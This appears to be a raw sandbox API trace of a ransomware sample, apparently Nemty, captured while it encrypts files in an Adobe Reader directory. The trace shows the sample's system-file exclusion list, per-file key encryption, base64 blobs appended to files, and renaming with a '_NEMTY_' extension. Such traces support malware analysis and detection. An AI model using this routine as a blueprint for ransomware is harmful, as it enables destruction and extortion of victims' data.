lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.fca", lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.fca", lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.fca", lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.fca", lpUsedDefaultChar=0x0) returned 7 [0216.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.657] Sleep (dwMilliseconds=0x5) [0216.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c7dcb0, dwHighDateTime=0x1d561e8)) [0216.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c7dcb0, dwHighDateTime=0x1d561e8)) [0216.667] GetLastError () returned 0x0 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.667] GetLastError () returned 0x0 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.667] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.667] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="s6kv+og76UwQsjddQ9as87sDmg5wXimPY3s2n/nv2MLJeQj5/6qhg5X/6bZQI7I2\r\n2YuxFch/5nYKAMrBJ5qP30YYsV7iRl0d51VVaPhP2mnyMFmvaLjZo9lUApvK3tub\r\nLNENxV1e6XRPIqjoE0u+sYOJcbhrGv+tYnsywjkkTkcPdVbISf4NbqYQMSf3xUNO\r\nvPhZNphjjpsZkwHdRz8VhMC69BducWZ+2nn4Vr2nrPbE9WVFlZV+z/bWyLQrsTJl\r\nfvkk3RR56BVKjVviRP+l4Zl8zu54bl8GsBjoz0PwrANOt5skZfeAIAVUWq7f1pE3\r\nXDI1I1j3pgMUBYGUHRMyVA==\r\n", pcchString=0x653df5c) returned 1 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.669] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=4748) returned 1 [0216.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1280) returned 0x6352c48 [0216.669] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.669] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1280, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x1280, lpOverlapped=0x0) returned 1 [0216.671] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.671] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x1280, lpOverlapped=0x0) returned 1 [0216.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.671] SetFilePointer (in: hFile=0x320, lDistanceToMove=4748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x128c [0216.671] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.671] CloseHandle (hObject=0x320) returned 1 [0216.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344178 [0216.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344250 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.672] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.fca._nemty_kgobjgd_")) returned 1 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344250 | out: hHeap=0x4f90000) returned 1 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.673] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brt.hyp", cAlternateFileName="")) returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2=".") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="..") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="...") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="windows") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="$RECYCLE.BIN") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="rsa") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="NTDETECT.COM") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="ntldr") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="MSDOS.SYS") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="IO.SYS") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="boot.ini") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="boot.ini") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="ntuser.dat") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="desktop.ini") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="CONFIG.SYS") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="RECYCLER") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="BOOTSECT.BAK") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="bootmgr") returned 1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="programdata") returned -1 [0216.673] lstrcmpiW (lpString1="brt.hyp", lpString2="appdata") returned 1 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.674] Sleep (dwMilliseconds=0x5) [0216.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34ca3e10, dwHighDateTime=0x1d561e8)) [0216.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34ca3e10, dwHighDateTime=0x1d561e8)) [0216.683] GetLastError () returned 0x0 [0216.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.683] GetLastError () returned 0x0 [0216.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.683] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.683] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.684] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.684] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="Cv/RYaSbZ3XCB9GR2MY7SHD/5Wh8wQe0LftKsRHKjb++fBNAzDWowzP7/X/bjFb5\r\nUFXWtPq4NMrYcXoOLKwTmBwqOz6dJOL/lZkIeDZFEe5ymYAme0p9Amovy/dcTmT5\r\natSOJFlwf3r96jcK4/ZKYpzBxFMLlXOtcunhHegSr6+6gGulhzcRmUTnmKMRZdXq\r\nq94n76JJq1++qLI2t9O8inJ5T43rKnht+RiZgbGA2jUvjH9g3rNQuIs9Ew6qzLIB\r\nxYQGwkmnZvoSqJVMbfd7RDshJ/fmakoF/oncGNi1l8tlNSdEp728eY4pDW8vEP6U\r\n7hNdbkZu//kWgrt4IajKWQ==\r\n", pcchString=0x653df5c) returned 1 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.684] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=51200) returned 1 [0216.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc800) returned 0x6352c48 [0216.684] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.684] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xc800, lpOverlapped=0x0) returned 1 [0216.689] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.690] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xc800, lpOverlapped=0x0) returned 1 [0216.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.690] SetFilePointer (in: hFile=0x320, lDistanceToMove=51200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc800 [0216.690] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.690] CloseHandle (hObject=0x320) returned 1 [0216.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344178 [0216.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344250 [0216.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.690] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.hyp._nemty_kgobjgd_")) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344250 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.691] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1d2, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brt04.hsp", cAlternateFileName="")) returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2=".") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="..") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="...") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="windows") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="$RECYCLE.BIN") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="rsa") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="NTDETECT.COM") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="ntldr") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="MSDOS.SYS") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="IO.SYS") returned -1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="boot.ini") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="boot.ini") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0216.691] lstrcmpiW (lpString1="brt04.hsp", lpString2="ntuser.dat") returned -1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="desktop.ini") returned -1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="CONFIG.SYS") returned -1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="RECYCLER") returned -1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="BOOTSECT.BAK") returned 1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="bootmgr") returned 1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="programdata") returned -1 [0216.692] lstrcmpiW (lpString1="brt04.hsp", lpString2="appdata") returned 1 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt04.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt04.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 